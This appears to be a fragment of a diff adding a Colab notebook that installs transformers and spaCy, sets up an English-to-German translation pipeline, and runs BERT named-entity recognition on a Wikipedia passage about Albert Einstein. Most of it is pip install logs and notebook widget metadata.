sacremoses-0.0.46-py3-none-any.whl (895 kB)\n", + "\u001b[K |████████████████████████████████| 895 kB 35.5 MB/s \n", + "\u001b[?25hRequirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (3.3.2)\n", + "Requirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.7/dist-packages (from huggingface-hub<1.0,>=0.1.0->transformers==4.12.4) (3.10.0.2)\n", + "Requirement already satisfied: pyparsing<3,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->transformers==4.12.4) (2.4.7)\n", + "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from importlib-metadata->transformers==4.12.4) (3.6.0)\n", + "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.12.4) (2021.10.8)\n", + "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.12.4) (2.10)\n", + "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.12.4) (3.0.4)\n", + "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.12.4) (1.24.3)\n", + "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.12.4) (1.1.0)\n", + "Requirement already satisfied: click in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.12.4) (7.1.2)\n", + "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.12.4) (1.15.0)\n", + "Installing collected packages: pyyaml, tokenizers, sacremoses, huggingface-hub, transformers, sentencepiece\n", + " Attempting uninstall: pyyaml\n", + " Found existing installation: PyYAML 3.13\n", + " Uninstalling PyYAML-3.13:\n", + " Successfully uninstalled PyYAML-3.13\n", + "Successfully installed huggingface-hub-0.1.2 pyyaml-6.0 sacremoses-0.0.46 sentencepiece-0.1.96 tokenizers-0.10.3 transformers-4.12.4\n" + ] + } + ] + }, + { + "cell_type": "code", + "metadata": { + "id": "QHQAZ1rLmJ5S" + }, + "source": [ + "from transformers import *" + ], + "execution_count": 2, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 209, + "referenced_widgets": [ + "8fdf3032d9214317a6f7459c5a6aa899", + "9647fbdcc4c3409bb60ee4aa08184c9a", + "3a97b74f252148768872481480df1d6d", + "93a6daec11184f35ac8aa21fb10d92a8", + "5a3fd6722aff493384f76c9a100093e5", + "f48db2ee49be467a8366fc632acf1132", + "cce00478fd014b4abf339430615b43e7", + "66bc4a903df64c5c80b36afb5a73303a", + "cda1d8c6c9f34d1787da7f836d0d796f", + "6905d5dab109461bad5fdf88f4956beb", + "da99d1ba45594c39ab373d83ab861e2e", + "2f957dbc765240d1ac58c0bdb4b64d9d", + "9daedae4de424ad7aa796c313d0500e2", + "2787103f35bf4c838d76c94afab87d9f", + "419ce161273e47329c7131fc321f41bc", + "10bf7989bbfa4d7298b66e20b842bbdb", + "cbb063f501bc4bc390caec21d548a13f", + "68691e2f527644ed946c8d4bbc5fb24b", + "e7d8d6f022b84065aa5de0c6a905e3d3", + "7783a63b374e4a42a549b841f0bfb7ea", + "cab62258200a4b63b618be516639b1ca", + "d65fa40a86b7439ba299224d55ad4c35", + "06cbeedd6aaa48729e6468585dfd841b", + "c82fe526735e492ab113e65b190e39f9", + "2df15105d5264771b8ad0f5eb7587f3c", + "c552329104e346b4889e055c8b581a3c", + "70e48bc5c828474aba0f06ecb318e061", + "5111fcaa6eaf47dd83f9f2f9ea79db57", + "c45d54d130b040489871a4bf5acfed2c", + "312ee383da1e4fe4a133bad9b364c3c0", + "1bba34dddcd8402290cd46a0718b67d7", + "16e49345f7384ecf8cd9bfd408f4f7dc", + "a06473eb59d64bfd96a98263296e2d75", + "a90f8f8132f047e8a69d1f6425bb5631", + "b7af650e9e7a429fbc0b72b0a2b86d9f", + "24e46b4c68f646cea183a68390f3af8c", + "0da6da23b2974ff9948536a3b34e4f55", + "fa58681afc7b4eca88dff0912cc62fe8", + "3ce811726f98442593d3a67e2ca1d548", + "0693368adfe349cd975f36ad98d13dea", + "c652754b90b2492fa3094e2201dc8bd6", + "443bbb852eb44a018995132f4538239a", + "d6a1f69cd7104f0081887a439a7deb96", + "0b66ebebbd2f41e08c3d764813971dce", + "e770bb0d629e4d94abb60203e8482f12", + "77815b9ee238491ebda08636307ee0da", + "e2acf510c8d841cb8ee025f2b8fe9cbe", + "e7cf4e18ebd24de0a939b514de23d143", + "556eb46d019e4ea2802be0dea572f88f", + "d806b0124be445b9ad9f4849c5b30dd4", + "f658e5f47ad544ba90e78f27c8fb098e", + "76e224f6a8474f2782aaed27a5a4df74", + "3937370dc31748a382f6e610585534d3", + "d481874811ca4585b3becf6acc12f71d", + "bf6ed5073ad2448e96463ea126d406c7", + "d8ca8a733c8c4742a213faf75d0d74dd", + "362c95c02cf34d1788ae73443d674782", + "1344a76df2f6425ead2bf254d5855846", + "295e356b56f8455a9d070c3200b901d5", + "fee238f6fd934cbfa41472196be2f014", + "8582a4473044420a9ce31630988bdd99", + "53789f8fbe274269be06bf2d1ce8ee08", + "71357c83f3d945638d4a3d2050c48bb4", + "5acc31388b644823a086bb033eb98c05", + "a90d42c930fb4fcc91a9045cbb21cda2", + "d79410065a6a480191b7e84384e6786a" + ] + }, + "id": "Jqwu5kPwmLp1", + "outputId": "5f432092-f2b1-4e14-c6d7-3f29d22a8c33" + }, + "source": [ + "# source & destination languages\n", + "src = \"en\"\n", + "dst = \"de\"\n", + "\n", + "task_name = f\"translation_{src}_to_{dst}\"\n", + "model_name = f\"Helsinki-NLP/opus-mt-{src}-{dst}\"\n", + "\n", + "translator = pipeline(task_name, model=model_name, tokenizer=model_name)" + ], + "execution_count": 21, + "outputs": [ + { + "output_type": "display_data", + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "8fdf3032d9214317a6f7459c5a6aa899", + "version_minor": 0, + "version_major": 2 + }, + "text/plain": [ + "Downloading: 0%| | 0.00/1.30k [00:00=0.11.1\n", + " Downloading tokenizers-0.12.1-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (6.6 MB)\n", + "\u001b[K |████████████████████████████████| 6.6 MB 42.9 MB/s \n", + "\u001b[?25hCollecting huggingface-hub<1.0,>=0.1.0\n", + " Downloading huggingface_hub-0.5.1-py3-none-any.whl (77 kB)\n", + "\u001b[K |████████████████████████████████| 77 kB 6.1 MB/s \n", + "\u001b[?25hRequirement already satisfied: tqdm>=4.27 in /usr/local/lib/python3.7/dist-packages (from transformers) (4.64.0)\n", + "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers) (2019.12.20)\n", + "Requirement already satisfied: filelock in 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(2.10)\n", + "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers) (1.15.0)\n", + "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers) (1.1.0)\n", + "Requirement already satisfied: click in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers) (7.1.2)\n", + "Installing collected packages: pyyaml, tokenizers, sacremoses, huggingface-hub, transformers, sentencepiece\n", + " Attempting uninstall: pyyaml\n", + " Found existing installation: PyYAML 3.13\n", + " Uninstalling PyYAML-3.13:\n", + " Successfully uninstalled PyYAML-3.13\n", + "Successfully installed huggingface-hub-0.5.1 pyyaml-6.0 sacremoses-0.0.49 sentencepiece-0.1.96 tokenizers-0.12.1 transformers-4.18.0\n" + ] + } + ] + }, + { + "cell_type": "code", + "source": [ + "!pip install https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "X_UZvMU1um1s", + "outputId": "9e41b500-63df-4e87-b771-422acca609cd" + }, + "execution_count": 2, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Collecting en-core-web-trf==3.2.0\n", + " Downloading https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl (460.2 MB)\n", + "\u001b[K |████████████████████████████████| 460.2 MB 29 kB/s \n", + "\u001b[?25hCollecting spacy-transformers<1.2.0,>=1.1.2\n", + " Downloading spacy_transformers-1.1.5-py2.py3-none-any.whl (51 kB)\n", + "\u001b[K |████████████████████████████████| 51 kB 147 kB/s \n", + "\u001b[?25hCollecting spacy<3.3.0,>=3.2.0\n", + " Downloading spacy-3.2.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (6.0 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Downloading pydantic-1.8.2-cp37-cp37m-manylinux2014_x86_64.whl (10.1 MB)\n", + "\u001b[K |████████████████████████████████| 10.1 MB 67.8 MB/s \n", + "\u001b[?25hCollecting catalogue<2.1.0,>=2.0.6\n", + " Downloading catalogue-2.0.7-py3-none-any.whl (17 kB)\n", + "Collecting typer<0.5.0,>=0.3.0\n", + " Downloading typer-0.4.1-py3-none-any.whl (27 kB)\n", + "Collecting spacy-legacy<3.1.0,>=3.0.8\n", + " Downloading spacy_legacy-3.0.9-py2.py3-none-any.whl (20 kB)\n", + "Requirement already satisfied: wasabi<1.1.0,>=0.8.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (0.9.1)\n", + "Collecting langcodes<4.0.0,>=3.2.0\n", + " Downloading langcodes-3.3.0-py3-none-any.whl (181 kB)\n", + "\u001b[K |████████████████████████████████| 181 kB 73.9 MB/s \n", + "\u001b[?25hCollecting srsly<3.0.0,>=2.4.1\n", + " Downloading srsly-2.4.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (457 kB)\n", + "\u001b[K |████████████████████████████████| 457 kB 56.4 MB/s \n", + "\u001b[?25hCollecting spacy-loggers<2.0.0,>=1.0.0\n", + " Downloading spacy_loggers-1.0.2-py3-none-any.whl (7.2 kB)\n", + "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (21.3)\n", + "Requirement already satisfied: numpy>=1.15.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (1.21.6)\n", + "Requirement already satisfied: cymem<2.1.0,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.0.6)\n", + "Requirement already satisfied: click<8.1.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (7.1.2)\n", + "Requirement already satisfied: tqdm<5.0.0,>=4.38.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (4.64.0)\n", + "Requirement already satisfied: requests<3.0.0,>=2.13.0 in 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(from pathy>=0.3.5->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (5.2.1)\n", + "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2021.10.8)\n", + "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.0.4)\n", + "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.10)\n", + "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (1.24.3)\n", + "Collecting transformers<4.18.0,>=3.4.0\n", + " Downloading transformers-4.17.0-py3-none-any.whl (3.8 MB)\n", + "\u001b[K |████████████████████████████████| 3.8 MB 53.2 MB/s \n", + "\u001b[?25hRequirement already satisfied: torch>=1.6.0 in /usr/local/lib/python3.7/dist-packages (from spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.10.0+cu111)\n", + "Collecting spacy-alignments<1.0.0,>=0.7.2\n", + " Downloading spacy_alignments-0.8.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.1 MB)\n", + "\u001b[K |████████████████████████████████| 1.1 MB 50.1 MB/s \n", + "\u001b[?25hRequirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (6.0)\n", + "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (2019.12.20)\n", + "Requirement already satisfied: tokenizers!=0.11.3,>=0.11.1 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.12.1)\n", + "Requirement already satisfied: sacremoses in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.0.49)\n", + "Requirement already satisfied: huggingface-hub<1.0,>=0.1.0 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.5.1)\n", + "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (4.11.3)\n", + "Requirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (3.6.0)\n", + "Requirement already satisfied: MarkupSafe>=0.23 in /usr/local/lib/python3.7/dist-packages (from jinja2->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.0.1)\n", + "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.1.0)\n", + "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.15.0)\n", + "Installing collected packages: typing-extensions, catalogue, typer, srsly, pydantic, thinc, spacy-loggers, spacy-legacy, pathy, langcodes, transformers, spacy-alignments, spacy, spacy-transformers, en-core-web-trf\n", + " Attempting uninstall: typing-extensions\n", + " Found existing installation: typing-extensions 4.1.1\n", + " Uninstalling typing-extensions-4.1.1:\n", + " Successfully uninstalled typing-extensions-4.1.1\n", + " Attempting uninstall: catalogue\n", + " Found existing installation: catalogue 1.0.0\n", + " Uninstalling catalogue-1.0.0:\n", + " Successfully uninstalled catalogue-1.0.0\n", + " Attempting uninstall: srsly\n", + " Found existing installation: srsly 1.0.5\n", + " Uninstalling srsly-1.0.5:\n", + " Successfully uninstalled srsly-1.0.5\n", + " Attempting uninstall: thinc\n", + " Found existing installation: thinc 7.4.0\n", + " Uninstalling thinc-7.4.0:\n", + " Successfully uninstalled thinc-7.4.0\n", + " Attempting uninstall: transformers\n", + " Found existing installation: transformers 4.18.0\n", + " Uninstalling transformers-4.18.0:\n", + " Successfully uninstalled transformers-4.18.0\n", + " Attempting uninstall: spacy\n", + " Found existing installation: spacy 2.2.4\n", + " Uninstalling spacy-2.2.4:\n", + " Successfully uninstalled spacy-2.2.4\n", + "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n", + "tensorflow 2.8.0 requires tf-estimator-nightly==2.8.0.dev2021122109, which is not installed.\u001b[0m\n", + "Successfully installed catalogue-2.0.7 en-core-web-trf-3.2.0 langcodes-3.3.0 pathy-0.6.1 pydantic-1.8.2 spacy-3.2.4 spacy-alignments-0.8.5 spacy-legacy-3.0.9 spacy-loggers-1.0.2 spacy-transformers-1.1.5 srsly-2.4.3 thinc-8.0.15 transformers-4.17.0 typer-0.4.1 typing-extensions-3.10.0.2\n" + ] + } + ] + }, + { + "cell_type": "code", + "source": [ + "!python -m spacy download en_core_web_sm" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "gX5UQMXtt7Cx", + "outputId": "fd848ea2-7dbd-4230-e0fe-b1ef88339e0e" + }, + "execution_count": 3, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Collecting en-core-web-sm==3.2.0\n", + " Downloading https://github.com/explosion/spacy-models/releases/download/en_core_web_sm-3.2.0/en_core_web_sm-3.2.0-py3-none-any.whl (13.9 MB)\n", + "\u001b[K |████████████████████████████████| 13.9 MB 5.1 MB/s \n", + "\u001b[?25hRequirement already satisfied: spacy<3.3.0,>=3.2.0 in /usr/local/lib/python3.7/dist-packages (from en-core-web-sm==3.2.0) (3.2.4)\n", + "Requirement already satisfied: pathy>=0.3.5 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.6.1)\n", + "Requirement already satisfied: thinc<8.1.0,>=8.0.12 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (8.0.15)\n", + "Requirement already satisfied: jinja2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.11.3)\n", + "Requirement already satisfied: setuptools in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (57.4.0)\n", + "Requirement already satisfied: requests<3.0.0,>=2.13.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.23.0)\n", + "Requirement already satisfied: preshed<3.1.0,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.6)\n", + "Requirement already satisfied: click<8.1.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (7.1.2)\n", + "Requirement already satisfied: numpy>=1.15.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.21.6)\n", + "Requirement already satisfied: langcodes<4.0.0,>=3.2.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.3.0)\n", + "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (21.3)\n", + "Requirement already satisfied: typer<0.5.0,>=0.3.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.4.1)\n", + "Requirement already satisfied: cymem<2.1.0,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.6)\n", + "Requirement already satisfied: catalogue<2.1.0,>=2.0.6 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.7)\n", + "Requirement already satisfied: pydantic!=1.8,!=1.8.1,<1.9.0,>=1.7.4 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.8.2)\n", + "Requirement already satisfied: srsly<3.0.0,>=2.4.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.4.3)\n", + "Requirement already satisfied: tqdm<5.0.0,>=4.38.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (4.64.0)\n", + "Requirement already satisfied: murmurhash<1.1.0,>=0.28.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.0.6)\n", + "Requirement already satisfied: typing-extensions<4.0.0.0,>=3.7.4 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.10.0.2)\n", + "Requirement already satisfied: spacy-loggers<2.0.0,>=1.0.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.0.2)\n", + "Requirement already satisfied: wasabi<1.1.0,>=0.8.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.9.1)\n", + "Requirement already satisfied: blis<0.8.0,>=0.4.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.4.1)\n", + "Requirement already satisfied: spacy-legacy<3.1.0,>=3.0.8 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.9)\n", + "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from catalogue<2.1.0,>=2.0.6->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.8.0)\n", + "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.8)\n", + "Requirement already satisfied: smart-open<6.0.0,>=5.0.0 in /usr/local/lib/python3.7/dist-packages (from pathy>=0.3.5->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (5.2.1)\n", + "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2021.10.8)\n", + "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.10)\n", + "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.24.3)\n", + "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.4)\n", + "Requirement already satisfied: MarkupSafe>=0.23 in /usr/local/lib/python3.7/dist-packages (from jinja2->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.1)\n", + "Installing collected packages: en-core-web-sm\n", + " Attempting uninstall: en-core-web-sm\n", + " Found existing installation: en-core-web-sm 2.2.5\n", + " Uninstalling en-core-web-sm-2.2.5:\n", + " Successfully uninstalled en-core-web-sm-2.2.5\n", + "Successfully installed en-core-web-sm-3.2.0\n", + "\u001b[38;5;2m✔ Download and installation successful\u001b[0m\n", + "You can now load the package via spacy.load('en_core_web_sm')\n" + ] + } + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "id": "cWM2ZmQj-7cL" + }, + "outputs": [], + "source": [ + "import spacy\n", + "from transformers import *" + ] + }, + { + "cell_type": "code", + "source": [ + "# sample text from Wikipedia\n", + "text = \"\"\"\n", + "Albert Einstein was a German-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n", + "Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n", + "Einstein was born in the German Empire, but moved to Switzerland in 1895, forsaking his German citizenship (as a subject of the Kingdom of Württemberg) the following year. \n", + "In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the Swiss Federal polytechnic school in Zürich, graduating in 1900\n", + "\"\"\"" + ], + "metadata": { + "id": "c8Fpojshvz5q" + }, + "execution_count": 5, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "# load BERT model fine-tuned for Named Entity Recognition (NER)\n", + "ner = pipeline(\"ner\", model=\"dslim/bert-base-NER\")" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000, + "referenced_widgets": [ + "d003aee1f68448d080b131160fbf0f42", + "13a93cbb501d449c8367e875f84dc8af", + "dd4901e643d140b8b75c6031359a35ed", + "510b8cdd5bfa44458b2bb63da21b5a5c", + "86f81b96b4a5459182ba60ca550f44b6", + "2c10acf72c97479c82ac853a5cd372bc", + "9aaca0628fca4f2eaa79ce470f1cbe04", + "7fb5607ab7174cdc8bbf91de38736aae", + "5cb5ef67c23b49d8b60267a3243bda7e", + "e3e2f4c00d87492b8910320d2013b2ed", + "edbcb62bb5d74021a43a6fa87813dc6f", + "1ea8bede937f4f2a86aa2a3e171f01f5", + "e9ba81a5262a4064a4b264dbd65be72a", + "8d36d6398f82455297c54752cfa75e19", + "acf9e37b852648bc9bde3a9b9e46e88e", + "47eff52636ad46b4a9921786fac2a87a", + "d0185c3829a3430e84d66c2e2e822e24", + "7d319e1748a34187860166041ba58bfb", + "78d2ab9bcad3473c871f42ee10a47cde", + "30771e225ce84020992c4c6d0272ce91", + "870eab9ef32d4dd7a3888f1c8b2fd866", + "20d165e3ad6f4151adc337c8852c5af0", + "9e3f6b5478bc40b59588b45a21baa8ba", + "26d5fe3ca4da42688dd94c4de885802b", + "42d869ff361446a8b174853e54ba0d5d", + "92f7d6b9cbb44b32acf5ada208358b6b", + "41082754c88d4a83b67ad55e4abbfa41", + "42a20dc48a7246f5bfe37a434eb5ea99", + "d9a1d7a2099948a18d061b9312909de4", + "1d196a6c69df4805a7d32cc34e6c5a71", + "7b8a749775c14ea19cd27a8b6d21ec66", + "062f5d1b87d841eda66a6392bc755da9", + "9cb592a10fe9403a9f70ca8c1179979a", + "8b83c336f76a450998d42074740f8ba7", + "61e34de53f824bbda1c44081fe1a8db7", + "53e0ebbe06874a9d9f063b8e2f227a82", + "a4674d3d476e4e34b65137195b926cc4", + "f98ca551ff4443f0a4e40bcf7758f3dc", + "ef1d3589d4474347a79054118ad11683", + "03ae716e541d4b22b2e82f36d1fa516c", + "9b57473fbcb341cf90393ad8f41eff2f", + "ff5e0890b8724417b82358a48aba3e78", + "95707ff8a18749cbaf31ce459278662f", + "c77101d1f1ca4452805baa23883deb71", + "59432e64a20f4a1f840a4a4e4219b61a", + "37b0572613f2436fb1295266742a3347", + "9601fd546e844c22a9bbd578af726caa", + "b1bbe9741ce6472fa767e38d4165ba0a", + "8faf96e2a06749edb9e407e3078ed863", + "e7bf154fcfb34c2d963ee3dc15de9b4a", + "247e98ffba5b4677af83ecc7adabf4f9", + "36debd6ba8074e0fad9da507c4ab276e", + "99be590e388b4d8a8987e45f920d5e36", + "d59c98d15314432b964418fc26384411", + "55c80d31a9774730b53948f5f0beac6f", + "b13e766210c44230a2d4a027fe3e5c21", + "1d6db3019cbf4abcb3652617e56bcbea", + "745a2fa9e81a4c24bb54d53ab6805d34", + "19db4b4005064243a5409e84ea9f89df", + "99bbe160962a4ad48bf423145bf99430", + "32cfdb3f92304c329307a9ee43852f38", + "ab532f783ed04c8ca11ef2087722e465", + "34ad0b24e30447b5b2f0aa11bc59c687", + "3d8ab41e60ed4eea84b75c1804e561ab", + "30a6d47314cc49fbbd969b76e580c72a", + "48df546e7b564234b3778f6ffeadbf17" + ] + }, + "id": "bt3r6hON-9rZ", + "outputId": "1267034b-9a7a-4139-f01a-6e1079170e16" + }, + "execution_count": 6, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp546bt3vk/n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "Downloading: 0%| | 0.00/829 [00:00" + ], + "text/html": [ + "

\n", + "\n", + " Albert\n", + " B-PER\n", + "\n", + " \n", + "\n", + " Einstein\n", + " I-PER\n", + "\n", + " was a \n", + "\n", + " German\n", + " B-MISC\n", + "\n", + "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " B-PER\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
\n", + "\n", + " Einstein\n", + " B-PER\n", + "\n", + " was born in the \n", + "\n", + " German\n", + " B-LOC\n", + "\n", + " \n", + "\n", + " Empire\n", + " I-LOC\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " B-LOC\n", + "\n", + " in 1895, forsaking his \n", + "\n", + " German\n", + " B-MISC\n", + "\n", + " citizenship (as a subject of the Kingdom of \n", + "\n", + " Württemberg\n", + " B-LOC\n", + "\n", + ") the following year.
